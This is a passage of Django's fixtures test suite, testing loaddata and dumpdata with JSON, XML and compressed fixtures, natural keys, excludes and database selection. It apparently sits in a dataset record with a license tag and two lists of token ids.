Load fixture 3, XML format. management.call_command('loaddata', 'fixture3.xml', verbosity=0, commit=False) self.assertQuerysetEqual(Article.objects.all(), [ '<Article: XML identified as leading cause of cancer>', '<Article: Django conquers world!>', '<Article: Copyright is fine the way it is>', '<Article: Poker on TV is great!>', ]) # Load fixture 6, JSON file with dynamic ContentType fields. Testing ManyToOne. management.call_command('loaddata', 'fixture6.json', verbosity=0, commit=False) self.assertQuerysetEqual(Tag.objects.all(), [ '<Tag: <Article: Copyright is fine the way it is> tagged "copyright">', '<Tag: <Article: Copyright is fine the way it is> tagged "law">' ]) # Load fixture 7, XML file with dynamic ContentType fields. Testing ManyToOne. management.call_command('loaddata', 'fixture7.xml', verbosity=0, commit=False) self.assertQuerysetEqual(Tag.objects.all(), [ '<Tag: <Article: Copyright is fine the way it is> tagged "copyright">', '<Tag: <Article: Copyright is fine the way it is> tagged "legal">', '<Tag: <Article: Django conquers world!> tagged "django">', '<Tag: <Article: Django conquers world!> tagged "world domination">' ]) # Load fixture 8, JSON file with dynamic Permission fields. Testing ManyToMany. management.call_command('loaddata', 'fixture8.json', verbosity=0, commit=False) self.assertQuerysetEqual(Visa.objects.all(), [ '<Visa: Django Reinhardt Can add user, Can change user, Can delete user>', '<Visa: Stephane Grappelli Can add user>', '<Visa: Prince >' ]) # Load fixture 9, XML file with dynamic Permission fields. Testing ManyToMany. management.call_command('loaddata', 'fixture9.xml', verbosity=0, commit=False) self.assertQuerysetEqual(Visa.objects.all(), [ '<Visa: Django Reinhardt Can add user, Can change user, Can delete user>', '<Visa: Stephane Grappelli Can add user, Can delete user>', '<Visa: Artist formerly known as "Prince" Can change user>' ]) self.assertQuerysetEqual(Book.objects.all(), [ '<Book: Achieving self-awareness of Python programs>', '<Book: Music for all ages by Artist formerly known as "Prince" and Django Reinhardt>' ]) # Load a fixture that doesn't exist management.call_command('loaddata', 'unknown.json', verbosity=0, commit=False) # object list is unaffected self.assertQuerysetEqual(Article.objects.all(), [ '<Article: XML identified as leading cause of cancer>', '<Article: Django conquers world!>', '<Article: Copyright is fine the way it is>', '<Article: Poker on TV is great!>', ]) # By default, you get raw keys on dumpdata self._dumpdata_assert(['fixtures.book'], '[{"pk": 1, "model": "fixtures.book", "fields": {"name": "Music for all ages", "authors": [3, 1]}}, {"pk": 10, "model": "fixtures.book", "fields": {"name": "Achieving self-awareness of Python programs", "authors": []}}]') # But you can get natural keys if you ask for them and they are available self._dumpdata_assert(['fixtures.book'], '[{"pk": 1, "model": "fixtures.book", "fields": {"name": "Music for all ages", "authors": [["Artist formerly known as \\"Prince\\""], ["Django Reinhardt"]]}}, {"pk": 10, "model": "fixtures.book", "fields": {"name": "Achieving self-awareness of Python programs", "authors": []}}]', natural_keys=True) # Dump the current contents of the database as a JSON fixture self._dumpdata_assert(['fixtures'], '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": "News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker on TV is great!", "pub_date": "2006-06-16T11:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": {"headline": "Copyright is fine the way it is", "pub_date": "2006-06-16T14:00:00"}}, {"pk": 4, "model": "fixtures.article", "fields": {"headline": "Django conquers world!", "pub_date": "2006-06-16T15:00:00"}}, {"pk": 5, "model": "fixtures.article", "fields": {"headline": "XML identified as leading cause of cancer", "pub_date": "2006-06-16T16:00:00"}}, {"pk": 1, "model": "fixtures.tag", "fields": {"tagged_type": ["fixtures", "article"], "name": "copyright", "tagged_id": 3}}, {"pk": 2, "model": "fixtures.tag", "fields": {"tagged_type": ["fixtures", "article"], "name": "legal", "tagged_id": 3}}, {"pk": 3, "model": "fixtures.tag", "fields": {"tagged_type": ["fixtures", "article"], "name": "django", "tagged_id": 4}}, {"pk": 4, "model": "fixtures.tag", "fields": {"tagged_type": ["fixtures", "article"], "name": "world domination", "tagged_id": 4}}, {"pk": 1, "model": "fixtures.person", "fields": {"name": "Django Reinhardt"}}, {"pk": 2, "model": "fixtures.person", "fields": {"name": "Stephane Grappelli"}}, {"pk": 3, "model": "fixtures.person", "fields": {"name": "Artist formerly known as \\"Prince\\""}}, {"pk": 1, "model": "fixtures.visa", "fields": {"person": ["Django Reinhardt"], "permissions": [["add_user", "auth", "user"], ["change_user", "auth", "user"], ["delete_user", "auth", "user"]]}}, {"pk": 2, "model": "fixtures.visa", "fields": {"person": ["Stephane Grappelli"], "permissions": [["add_user", "auth", "user"], ["delete_user", "auth", "user"]]}}, {"pk": 3, "model": "fixtures.visa", "fields": {"person": ["Artist formerly known as \\"Prince\\""], "permissions": [["change_user", "auth", "user"]]}}, {"pk": 1, "model": "fixtures.book", "fields": {"name": "Music for all ages", "authors": [["Artist formerly known as \\"Prince\\""], ["Django Reinhardt"]]}}, {"pk": 10, "model": "fixtures.book", "fields": {"name": "Achieving self-awareness of Python programs", "authors": []}}]', natural_keys=True) # Dump the current contents of the database as an XML fixture self._dumpdata_assert(['fixtures'], """<?xml version="1.0" encoding="utf-8"?> <django-objects version="1.0"><object pk="1" model="fixtures.category"><field type="CharField" name="title">News Stories</field><field type="TextField" name="description">Latest news stories</field></object><object pk="2" model="fixtures.article"><field type="CharField" name="headline">Poker on TV is great!</field><field type="DateTimeField" name="pub_date">2006-06-16T11:00:00</field></object><object pk="3" model="fixtures.article"><field type="CharField" name="headline">Copyright is fine the way it is</field><field type="DateTimeField" name="pub_date">2006-06-16T14:00:00</field></object><object pk="4" model="fixtures.article"><field type="CharField" name="headline">Django conquers world!</field><field type="DateTimeField" name="pub_date">2006-06-16T15:00:00</field></object><object pk="5" model="fixtures.article"><field type="CharField" name="headline">XML identified as leading cause of cancer</field><field type="DateTimeField" name="pub_date">2006-06-16T16:00:00</field></object><object pk="1" model="fixtures.tag"><field type="CharField" name="name">copyright</field><field to="contenttypes.contenttype" name="tagged_type" rel="ManyToOneRel"><natural>fixtures</natural><natural>article</natural></field><field type="PositiveIntegerField" name="tagged_id">3</field></object><object pk="2" model="fixtures.tag"><field type="CharField" name="name">legal</field><field to="contenttypes.contenttype" name="tagged_type" rel="ManyToOneRel"><natural>fixtures</natural><natural>article</natural></field><field type="PositiveIntegerField" name="tagged_id">3</field></object><object pk="3" model="fixtures.tag"><field type="CharField" name="name">django</field><field to="contenttypes.contenttype" name="tagged_type" rel="ManyToOneRel"><natural>fixtures</natural><natural>article</natural></field><field type="PositiveIntegerField" name="tagged_id">4</field></object><object pk="4" model="fixtures.tag"><field type="CharField" name="name">world domination</field><field to="contenttypes.contenttype" name="tagged_type" rel="ManyToOneRel"><natural>fixtures</natural><natural>article</natural></field><field type="PositiveIntegerField" name="tagged_id">4</field></object><object pk="1" model="fixtures.person"><field type="CharField" name="name">Django Reinhardt</field></object><object pk="2" model="fixtures.person"><field type="CharField" name="name">Stephane Grappelli</field></object><object pk="3" model="fixtures.person"><field type="CharField" name="name">Artist formerly known as "Prince"</field></object><object pk="1" model="fixtures.visa"><field to="fixtures.person" name="person" rel="ManyToOneRel"><natural>Django Reinhardt</natural></field><field to="auth.permission" name="permissions" rel="ManyToManyRel"><object><natural>add_user</natural><natural>auth</natural><natural>user</natural></object><object><natural>change_user</natural><natural>auth</natural><natural>user</natural></object><object><natural>delete_user</natural><natural>auth</natural><natural>user</natural></object></field></object><object pk="2" model="fixtures.visa"><field to="fixtures.person" name="person" rel="ManyToOneRel"><natural>Stephane Grappelli</natural></field><field to="auth.permission" name="permissions" rel="ManyToManyRel"><object><natural>add_user</natural><natural>auth</natural><natural>user</natural></object><object><natural>delete_user</natural><natural>auth</natural><natural>user</natural></object></field></object><object pk="3" model="fixtures.visa"><field to="fixtures.person" name="person" rel="ManyToOneRel"><natural>Artist formerly known as "Prince"</natural></field><field to="auth.permission" name="permissions" rel="ManyToManyRel"><object><natural>change_user</natural><natural>auth</natural><natural>user</natural></object></field></object><object pk="1" model="fixtures.book"><field type="CharField" name="name">Music for all ages</field><field to="fixtures.person" name="authors" rel="ManyToManyRel"><object><natural>Artist formerly known as "Prince"</natural></object><object><natural>Django Reinhardt</natural></object></field></object><object pk="10" model="fixtures.book"><field type="CharField" name="name">Achieving self-awareness of Python programs</field><field to="fixtures.person" name="authors" rel="ManyToManyRel"></field></object></django-objects>""", format='xml', natural_keys=True) def test_dumpdata_with_excludes(self): # Load fixture1 which has a site, two articles, and a category Site.objects.all().delete() management.call_command('loaddata', 'fixture1.json', verbosity=0, commit=False) # Excluding fixtures app should only leave sites self._dumpdata_assert( ['sites', 'fixtures'], '[{"pk": 1, "model": "sites.site", "fields": {"domain": "example.com", "name": "example.com"}}]', exclude_list=['fixtures']) # Excluding fixtures.Article/Book should leave fixtures.Category self._dumpdata_assert( ['sites', 'fixtures'], '[{"pk": 1, "model": "sites.site", "fields": {"domain": "example.com", "name": "example.com"}}, {"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": "News Stories"}}]', exclude_list=['fixtures.Article', 'fixtures.Book']) # Excluding fixtures and fixtures.Article/Book should be a no-op self._dumpdata_assert( ['sites', 'fixtures'], '[{"pk": 1, "model": "sites.site", "fields": {"domain": "example.com", "name": "example.com"}}, {"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": "News Stories"}}]', exclude_list=['fixtures.Article', 'fixtures.Book']) # Excluding sites and fixtures.Article/Book should only leave fixtures.Category self._dumpdata_assert( ['sites', 'fixtures'], '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": "News Stories"}}]', exclude_list=['fixtures.Article', 'fixtures.Book', 'sites']) # Excluding a bogus app should throw an error with six.assertRaisesRegex(self, management.CommandError, "Unknown app in excludes: foo_app"): self._dumpdata_assert(['fixtures', 'sites'], '', exclude_list=['foo_app']) # Excluding a bogus model should throw an error with six.assertRaisesRegex(self, management.CommandError, "Unknown model in excludes: fixtures.FooModel"): self._dumpdata_assert(['fixtures', 'sites'], '', exclude_list=['fixtures.FooModel']) def test_dumpdata_with_filtering_manager(self): spy1 = Spy.objects.create(name='Paul') spy2 = Spy.objects.create(name='Alex', cover_blown=True) self.assertQuerysetEqual(Spy.objects.all(), ['<Spy: Paul>']) # Use the default manager self._dumpdata_assert(['fixtures.Spy'], '[{"pk": %d, "model": "fixtures.spy", "fields": {"cover_blown": false}}]' % spy1.pk) # Dump using Django's base manager. Should return all objects, # even those normally filtered by the manager self._dumpdata_assert(['fixtures.Spy'], '[{"pk": %d, "model": "fixtures.spy", "fields": {"cover_blown": true}}, {"pk": %d, "model": "fixtures.spy", "fields": {"cover_blown": false}}]' % (spy2.pk, spy1.pk), use_base_manager=True) def test_compress_format_loading(self): # Load fixture 4 (compressed), using format specification management.call_command('loaddata', 'fixture4.json', verbosity=0, commit=False) self.assertQuerysetEqual(Article.objects.all(), [ '<Article: Django pets kitten>', ]) def test_compressed_specified_loading(self): # Load fixture 5 (compressed), using format *and* compression specification management.call_command('loaddata', 'fixture5.json.zip', verbosity=0, commit=False) self.assertQuerysetEqual(Article.objects.all(), [ '<Article: WoW subscribers now outnumber readers>', ]) def test_compressed_loading(self): # Load fixture 5 (compressed), only compression specification management.call_command('loaddata', 'fixture5.zip', verbosity=0, commit=False) self.assertQuerysetEqual(Article.objects.all(), [ '<Article: WoW subscribers now outnumber readers>', ]) def test_ambiguous_compressed_fixture(self): # The name "fixture5" is ambigous, so loading it will raise an error with self.assertRaises(management.CommandError) as cm: management.call_command('loaddata', 'fixture5', verbosity=0, commit=False) self.assertIn("Multiple fixtures named 'fixture5'", cm.exception.args[0]) def test_db_loading(self): # Load db fixtures 1 and 2. These will load using the 'default' database identifier implicitly management.call_command('loaddata', 'db_fixture_1', verbosity=0, commit=False) management.call_command('loaddata', 'db_fixture_2', verbosity=0, commit=False) self.assertQuerysetEqual(Article.objects.all(), [ '<Article: Who needs more than one database?>', '<Article: Who needs to use compressed data?>', ]) def test_loaddata_error_message(self): """ Verifies that loading a fixture which contains an invalid object outputs an error message which contains the pk of the object that triggered the error. """ # MySQL needs a little prodding to reject invalid data. # This won't affect other tests because the database connection # is closed at the end of each test. if connection.vendor == 'mysql': connection.cursor().execute("SET sql_mode = 'TRADITIONAL'") with self.assertRaises(IntegrityError) as cm: management.call_command('loaddata', 'invalid.json', verbosity=0, commit=False) self.assertIn("Could not load fixtures.Article(pk=1):", cm.exception.args[0]) def test_loading_using(self): # Load db fixtures 1 and 2. These will load using the 'default' database identifier explicitly management.call_command('loaddata', 'db_fixture_1', verbosity=0, using='default', commit=False) management.call_command('loaddata', 'db_fixture_2', verbosity=0, using='default', commit=False) self.assertQuerysetEqual(Article.objects.all(), [ '<Article: Who needs more than one database?>', '<Article: Who needs to use compressed data?>', ]) def test_unmatched_identifier_loading(self): # Try to load db fixture 3. This won't load because the database identifier doesn't match management.call_command('loaddata', 'db_fixture_3', verbosity=0, commit=False) self.assertQuerysetEqual(Article.objects.all(), []) management.call_command('loaddata', 'db_fixture_3', verbosity=0, using='default', commit=False) self.assertQuerysetEqual(Article.objects.all(), []) def test_output_formats(self): # Load back in fixture 1, we need the articles from it management.call_command('loaddata', 'fixture1', verbosity=0, commit=False) # Try to load fixture 6 using format discovery management.call_command('loaddata', 'fixture6', verbosity=0, commit=False) self.assertQuerysetEqual(Tag.objects.all(), [ '<Tag: <Article: Time to reform copyright> tagged "copyright">', '<Tag: <Article: Time to reform copyright> tagged "law">' ]) # Dump the current contents of the database as a JSON fixture self._dumpdata_assert(['fixtures'], '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": "News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": {"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}, {"pk": 1, "model": "fixtures.tag", "fields": {"tagged_type": ["fixtures", "article"], "name": "copyright", "tagged_id": 3}}, {"pk": 2, "model": "fixtures.tag", "fields": {"tagged_type": ["fixtures", "article"], "name": "law", "tagged_id": 3}}, {"pk": 1, "model": "fixtures.person", "fields": {"name": "Django Reinhardt"}}, {"pk": 2, "model": "fixtures.person", "fields": {"name": "Stephane Grappelli"}}, {"pk": 3, "model": "fixtures.person", "fields": {"name": "Prince"}}, {"pk": 10, "model": "fixtures.book", "fields": {"name": "Achieving self-awareness of Python programs", "authors": []}}]', natural_keys=True) # Dump the current contents of the database as an XML fixture self._dumpdata_assert(['fixtures'], """<?xml version="1.0" encoding="utf-8"?> <django-objects version="1.0"><object pk="1" model="fixtures.category"><field type="CharField" name="title">News Stories</field><field type="TextField" name="description">Latest news stories</field></object><object pk="2" model="fixtures.article"><field type="CharField" name="headline">Poker has no place on ESPN</field><field type="DateTimeField" name="pub_date">2006-06-16T12:00:00</field></object><object pk="3" model="fixtures.article"><field type="CharField" name="headline">Time to reform copyright</field><field type="DateTimeField" name="pub_date">2006-06-16T13:00:00</field></object><object pk="1" model="fixtures.tag"><field type="CharField" name="name">copyright</field><field to="contenttypes.contenttype" name="tagged_type" rel="ManyToOneRel"><natural>fixtures</natural><natural>article</natural></field><field type="PositiveIntegerField" name="tagged_id">3</field></object><object pk="2" model="fixtures.tag"><field type="CharField" name="name">law</field><field to="contenttypes.contenttype" name="tagged_type" rel="ManyToOneRel"><natural>fixtures</natural><natural>article</natural></field><field type="PositiveIntegerField" name="tagged_id">3</field></object><object pk="1" model="fixtures.person"><field type="CharField" name="name">Django Reinhardt</field></object><object pk="2" model="fixtures.person"><field type="CharField" name="name">Stephane Grappelli</field></object><object pk="3" model="fixtures.person"><field type="CharField" name="name">Prince</field></object><object pk="10" model="fixtures.book"><field type="CharField" name="name">Achieving self-awareness of Python programs</field><field to="fixtures.person" name="authors" rel="ManyToManyRel"></field></object></django-objects>""", format='xml', natural_keys=True) class FixtureTransactionTests(DumpDataAssertMixin, TransactionTestCase): @skipUnlessDBFeature('supports_forward_references') def test_format_discovery(self): # Load fixture 1 again, using format discovery management.call_command('loaddata', 'fixture1', verbosity=0, commit=False) self.assertQuerysetEqual(Article.objects.all(), [ '<Article: Time to reform copyright>', '<Article: Poker has no place on ESPN>', ]) # Try to load fixture 2 using format discovery; this will fail # because there are two fixture2's in the fixtures directory with self.assertRaises(management.CommandError) as cm: management.call_command('loaddata', 'fixture2', verbosity=0) self.assertIn("Multiple fixtures named 'fixture2'", cm.exception.args[0]) # object list is unaffected self.assertQuerysetEqual(Article.objects.all(), [ '<Article: Time to reform copyright>', '<Article: Poker has no place on ESPN>', ]) # Dump the current contents of the database as a JSON fixture self._dumpdata_assert(['fixtures'], '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": "News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": {"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}, {"pk": 10, "model": "fixtures.book", "fields": {"name": "Achieving self-awareness of Python programs", "authors": []}}]') # Load fixture 4 (compressed), using format discovery management.call_command('loaddata', 'fixture4', verbosity=0, commit=False) self.assertQuerysetEqual(Article.objects.all(), [ '<Article: Django pets kitten>', '<Article: Time to reform copyright>', '<Article: Poker has no place on ESPN>', ])
agpl-3.0
[ 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 504, 1639, 14, 2828, 14, 8619, 14, 992, 492, 11666, 199, 504, 1639, 14, 1018, 492, 10041, 199, 504, 1639, 14, 697, 492, 1950, 12, 26864, 199, 504, 1639, 14, 396, 492, 7640, 12, 18244, 1746, 12, 3372, 5524, 18093, 199, 504, 1639, 14, 1208, 492, 3816, 199, 199, 504, 1275, 992, 492, 8281, 12, 8944, 12, 428, 647, 12, 8053, 12, 812, 13655, 421, 199, 533, 7640, 12812, 19236, 2925, 8, 1746, 304, 272, 15188, 275, 788, 5997, 17, 14, 1001, 297, 283, 5997, 18, 14, 1001, 418, 339, 347, 511, 2543, 9047, 6969, 8, 277, 304, 267, 298, 1799, 626, 511, 1930, 965, 4903, 650, 10949, 2251, 2, 267, 291, 14, 629, 8, 7221, 14, 1462, 14, 835, 1062, 650, 9, 267, 291, 14, 7108, 8, 7221, 14, 1462, 14, 452, 1062, 359, 288, 2650, 7221, 26, 5634, 406, 392, 1192, 6701, 1, 4206, 288, 2650, 7221, 26, 1898, 365, 15701, 314, 4340, 652, 365, 4206, 288, 2650, 7221, 26, 510, 26790, 965, 949, 4192, 641, 31334, 46, 4206, 267, 4794, 421, 199, 533, 19460, 1451, 9699, 4256, 8, 785, 304, 339, 347, 485, 2724, 576, 63, 479, 8, 277, 12, 1249, 12, 1072, 12, 1475, 534, 1001, 297, 19981, 63, 1612, 29, 797, 12, 586, 675, 63, 1095, 63, 2609, 29, 797, 12, 5760, 63, 513, 17894, 267, 892, 63, 2308, 275, 3816, 14, 6424, 342, 267, 10041, 14, 1250, 63, 1531, 360, 2724, 576, 297, 627, 589, 12, 30653, 908, 356, 1475, 12, 10028, 283, 2703, 356, 892, 63, 2308, 12, 10028, 283, 3083, 356, 892, 63, 2308, 12, 10028, 283, 1180, 63, 15759, 63, 1612, 356, 19981, 63, 1612, 12, 10028, 283, 1180, 63, 1095, 63, 2609, 356, 675, 63, 1095, 63, 2609, 12, 10028, 283, 5473, 356, 5760, 63, 513, 1552, 267, 1414, 63, 1199, 275, 892, 63, 2308, 14, 7150, 1252, 1913, 342, 267, 340, 1475, 508, 298, 1001, 582, 288, 291, 14, 479, 6243, 591, 8, 1531, 63, 1199, 12, 1072, 9, 267, 916, 1475, 508, 298, 1652, 582, 288, 291, 14, 479, 4317, 591, 8, 1531, 63, 1199, 12, 1072, 9, 267, 587, 26, 288, 291, 14, 629, 8, 1531, 63, 1199, 12, 1072, 9, 421, 199, 533, 31574, 4167, 19236, 2925, 8, 11772, 1451, 9699, 4256, 12, 7640, 304, 339, 347, 511, 63, 2747, 63, 576, 8, 277, 304, 267, 327, 7604, 697, 13318, 10569, 413, 2536, 666, 909, 687, 2536, 63, 576, 14, 1001, 14, 267, 291, 14, 7108, 8, 8696, 14, 1462, 14, 452, 1062, 359, 288, 2650, 8696, 26, 437, 14025, 4007, 291, 13, 14600, 4171, 402, 2018, 18572, 3524, 267, 4794, 339, 347, 511, 63, 8786, 63, 460, 63, 2724, 316, 8, 277, 304, 267, 11666, 14, 1462, 14, 452, 1252, 1807, 342, 267, 327, 7190, 10949, 413, 14, 13050, 4840, 570, 12, 543, 2877, 2251, 14, 267, 10041, 14, 1250, 63, 1531, 360, 320, 525, 419, 297, 283, 5997, 17, 14, 1001, 297, 8661, 29, 16, 12, 5532, 29, 797, 9, 267, 291, 14, 7108, 8, 7221, 14, 1462, 14, 452, 1062, 359, 288, 2650, 7221, 26, 4703, 370, 295, 964, 4248, 4206, 288, 2650, 7221, 26, 510, 26790, 965, 949, 4192, 641, 31334, 46, 4206, 267, 4794, 398, 327, 19460, 314, 1453, 4072, 402, 314, 3050, 465, 282, 4840, 10949, 267, 291, 423, 2724, 576, 63, 479, 2941, 8769, 995, 6730, 6641, 2051, 582, 413, 12, 298, 1238, 582, 298, 8769, 14, 3710, 401, 298, 955, 582, 2420, 1802, 582, 298, 31438, 19497, 410, 6112, 401, 298, 1213, 582, 298, 24730, 1933, 6112, 3570, 1386, 2420, 2051, 582, 499, 12, 298, 1238, 582, 298, 8769, 14, 6934, 401, 298, 955, 582, 2420, 11268, 582, 298, 48, 26790, 965, 949, 4192, 641, 31334, 46, 401, 298, 5645, 63, 602, 582, 298, 7968, 13, 1690, 13, 975, 52, 713, 26, 383, 26, 383, 3570, 1386, 2420, 2051, 582, 650, 12, 298, 1238, 582, 298, 8769, 14, 6934, 401, 298, 955, 582, 2420, 11268, 582, 298, 1366, 370, 295, 964, 4248, 401, 298, 5645, 63, 602, 582, 298, 7968, 13, 1690, 13, 975, 52, 969, 26, 383, 26, 383, 3570, 1386, 2420, 2051, 582, 1616, 12, 298, 1238, 582, 298, 8769, 14, 2706, 401, 298, 955, 582, 2420, 354, 582, 298, 33, 14025, 4007, 291, 13, 14600, 4171, 402, 2018, 18572, 401, 298, 8149, 582, 942, 4863, 10374, 398, 327, 7649, 2951, 5461, 316, 314, 4072, 402, 15188, 14, 7841, 267, 291, 423, 2724, 576, 63, 479, 2941, 8769, 14, 7841, 995, 6730, 6641, 2051, 582, 413, 12, 298, 1238, 582, 298, 8769, 14, 3710, 401, 298, 955, 582, 2420, 1802, 582, 298, 31438, 19497, 410, 6112, 401, 298, 1213, 582, 298, 24730, 1933, 6112, 32655, 10374, 398, 327, 2263, 460, 2951, 15188, 14, 7221, 267, 291, 423, 2724, 576, 63, 479, 2941, 8769, 14, 7221, 995, 6730, 6641, 2051, 582, 499, 12, 298, 1238, 582, 298, 8769, 14, 6934, 401, 298, 955, 582, 2420, 11268, 582, 298, 48, 26790, 965, 949, 4192, 641, 31334, 46, 401, 298, 5645, 63, 602, 582, 298, 7968, 13, 1690, 13, 975, 52, 713, 26, 383, 26, 383, 3570, 1386, 2420, 2051, 582, 650, 12, 298, 1238, 582, 298, 8769, 14, 6934, 401, 298, 955, 582, 2420, 11268, 582, 298, 1366, 370, 295, 964, 4248, 401, 298, 5645, 63, 602, 582, 298, 7968, 13, 1690, 13, 975, 52, 969, 26, 383, 26, 383, 32655, 10374, 398, 327, 2263, 460, 3865, 267, 291, 423, 2724, 576, 63, 479, 2941, 8769, 14, 7841, 297, 283, 8769, 14, 7221, 995, 6730, 6641, 2051, 582, 413, 12, 298, 1238, 582, 298, 8769, 14, 3710, 401, 298, 955, 582, 2420, 1802, 582, 298, 31438, 19497, 410, 6112, 401, 298, 1213, 582, 298, 24730, 1933, 6112, 3570, 1386, 2420, 2051, 582, 499, 12, 298, 1238, 582, 298, 8769, 14, 6934, 401, 298, 955, 582, 2420, 11268, 582, 298, 48, 26790, 965, 949, 4192, 641, 31334, 46, 401, 298, 5645, 63, 602, 582, 298, 7968, 13, 1690, 13, 975, 52, 713, 26, 383, 26, 383, 3570, 1386, 2420, 2051, 582, 650, 12, 298, 1238, 582, 298, 8769, 14, 6934, 401, 298, 955 ]
[ 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 504, 1639, 14, 2828, 14, 8619, 14, 992, 492, 11666, 199, 504, 1639, 14, 1018, 492, 10041, 199, 504, 1639, 14, 697, 492, 1950, 12, 26864, 199, 504, 1639, 14, 396, 492, 7640, 12, 18244, 1746, 12, 3372, 5524, 18093, 199, 504, 1639, 14, 1208, 492, 3816, 199, 199, 504, 1275, 992, 492, 8281, 12, 8944, 12, 428, 647, 12, 8053, 12, 812, 13655, 421, 199, 533, 7640, 12812, 19236, 2925, 8, 1746, 304, 272, 15188, 275, 788, 5997, 17, 14, 1001, 297, 283, 5997, 18, 14, 1001, 418, 339, 347, 511, 2543, 9047, 6969, 8, 277, 304, 267, 298, 1799, 626, 511, 1930, 965, 4903, 650, 10949, 2251, 2, 267, 291, 14, 629, 8, 7221, 14, 1462, 14, 835, 1062, 650, 9, 267, 291, 14, 7108, 8, 7221, 14, 1462, 14, 452, 1062, 359, 288, 2650, 7221, 26, 5634, 406, 392, 1192, 6701, 1, 4206, 288, 2650, 7221, 26, 1898, 365, 15701, 314, 4340, 652, 365, 4206, 288, 2650, 7221, 26, 510, 26790, 965, 949, 4192, 641, 31334, 46, 4206, 267, 4794, 421, 199, 533, 19460, 1451, 9699, 4256, 8, 785, 304, 339, 347, 485, 2724, 576, 63, 479, 8, 277, 12, 1249, 12, 1072, 12, 1475, 534, 1001, 297, 19981, 63, 1612, 29, 797, 12, 586, 675, 63, 1095, 63, 2609, 29, 797, 12, 5760, 63, 513, 17894, 267, 892, 63, 2308, 275, 3816, 14, 6424, 342, 267, 10041, 14, 1250, 63, 1531, 360, 2724, 576, 297, 627, 589, 12, 30653, 908, 356, 1475, 12, 10028, 283, 2703, 356, 892, 63, 2308, 12, 10028, 283, 3083, 356, 892, 63, 2308, 12, 10028, 283, 1180, 63, 15759, 63, 1612, 356, 19981, 63, 1612, 12, 10028, 283, 1180, 63, 1095, 63, 2609, 356, 675, 63, 1095, 63, 2609, 12, 10028, 283, 5473, 356, 5760, 63, 513, 1552, 267, 1414, 63, 1199, 275, 892, 63, 2308, 14, 7150, 1252, 1913, 342, 267, 340, 1475, 508, 298, 1001, 582, 288, 291, 14, 479, 6243, 591, 8, 1531, 63, 1199, 12, 1072, 9, 267, 916, 1475, 508, 298, 1652, 582, 288, 291, 14, 479, 4317, 591, 8, 1531, 63, 1199, 12, 1072, 9, 267, 587, 26, 288, 291, 14, 629, 8, 1531, 63, 1199, 12, 1072, 9, 421, 199, 533, 31574, 4167, 19236, 2925, 8, 11772, 1451, 9699, 4256, 12, 7640, 304, 339, 347, 511, 63, 2747, 63, 576, 8, 277, 304, 267, 327, 7604, 697, 13318, 10569, 413, 2536, 666, 909, 687, 2536, 63, 576, 14, 1001, 14, 267, 291, 14, 7108, 8, 8696, 14, 1462, 14, 452, 1062, 359, 288, 2650, 8696, 26, 437, 14025, 4007, 291, 13, 14600, 4171, 402, 2018, 18572, 3524, 267, 4794, 339, 347, 511, 63, 8786, 63, 460, 63, 2724, 316, 8, 277, 304, 267, 11666, 14, 1462, 14, 452, 1252, 1807, 342, 267, 327, 7190, 10949, 413, 14, 13050, 4840, 570, 12, 543, 2877, 2251, 14, 267, 10041, 14, 1250, 63, 1531, 360, 320, 525, 419, 297, 283, 5997, 17, 14, 1001, 297, 8661, 29, 16, 12, 5532, 29, 797, 9, 267, 291, 14, 7108, 8, 7221, 14, 1462, 14, 452, 1062, 359, 288, 2650, 7221, 26, 4703, 370, 295, 964, 4248, 4206, 288, 2650, 7221, 26, 510, 26790, 965, 949, 4192, 641, 31334, 46, 4206, 267, 4794, 398, 327, 19460, 314, 1453, 4072, 402, 314, 3050, 465, 282, 4840, 10949, 267, 291, 423, 2724, 576, 63, 479, 2941, 8769, 995, 6730, 6641, 2051, 582, 413, 12, 298, 1238, 582, 298, 8769, 14, 3710, 401, 298, 955, 582, 2420, 1802, 582, 298, 31438, 19497, 410, 6112, 401, 298, 1213, 582, 298, 24730, 1933, 6112, 3570, 1386, 2420, 2051, 582, 499, 12, 298, 1238, 582, 298, 8769, 14, 6934, 401, 298, 955, 582, 2420, 11268, 582, 298, 48, 26790, 965, 949, 4192, 641, 31334, 46, 401, 298, 5645, 63, 602, 582, 298, 7968, 13, 1690, 13, 975, 52, 713, 26, 383, 26, 383, 3570, 1386, 2420, 2051, 582, 650, 12, 298, 1238, 582, 298, 8769, 14, 6934, 401, 298, 955, 582, 2420, 11268, 582, 298, 1366, 370, 295, 964, 4248, 401, 298, 5645, 63, 602, 582, 298, 7968, 13, 1690, 13, 975, 52, 969, 26, 383, 26, 383, 3570, 1386, 2420, 2051, 582, 1616, 12, 298, 1238, 582, 298, 8769, 14, 2706, 401, 298, 955, 582, 2420, 354, 582, 298, 33, 14025, 4007, 291, 13, 14600, 4171, 402, 2018, 18572, 401, 298, 8149, 582, 942, 4863, 10374, 398, 327, 7649, 2951, 5461, 316, 314, 4072, 402, 15188, 14, 7841, 267, 291, 423, 2724, 576, 63, 479, 2941, 8769, 14, 7841, 995, 6730, 6641, 2051, 582, 413, 12, 298, 1238, 582, 298, 8769, 14, 3710, 401, 298, 955, 582, 2420, 1802, 582, 298, 31438, 19497, 410, 6112, 401, 298, 1213, 582, 298, 24730, 1933, 6112, 32655, 10374, 398, 327, 2263, 460, 2951, 15188, 14, 7221, 267, 291, 423, 2724, 576, 63, 479, 2941, 8769, 14, 7221, 995, 6730, 6641, 2051, 582, 499, 12, 298, 1238, 582, 298, 8769, 14, 6934, 401, 298, 955, 582, 2420, 11268, 582, 298, 48, 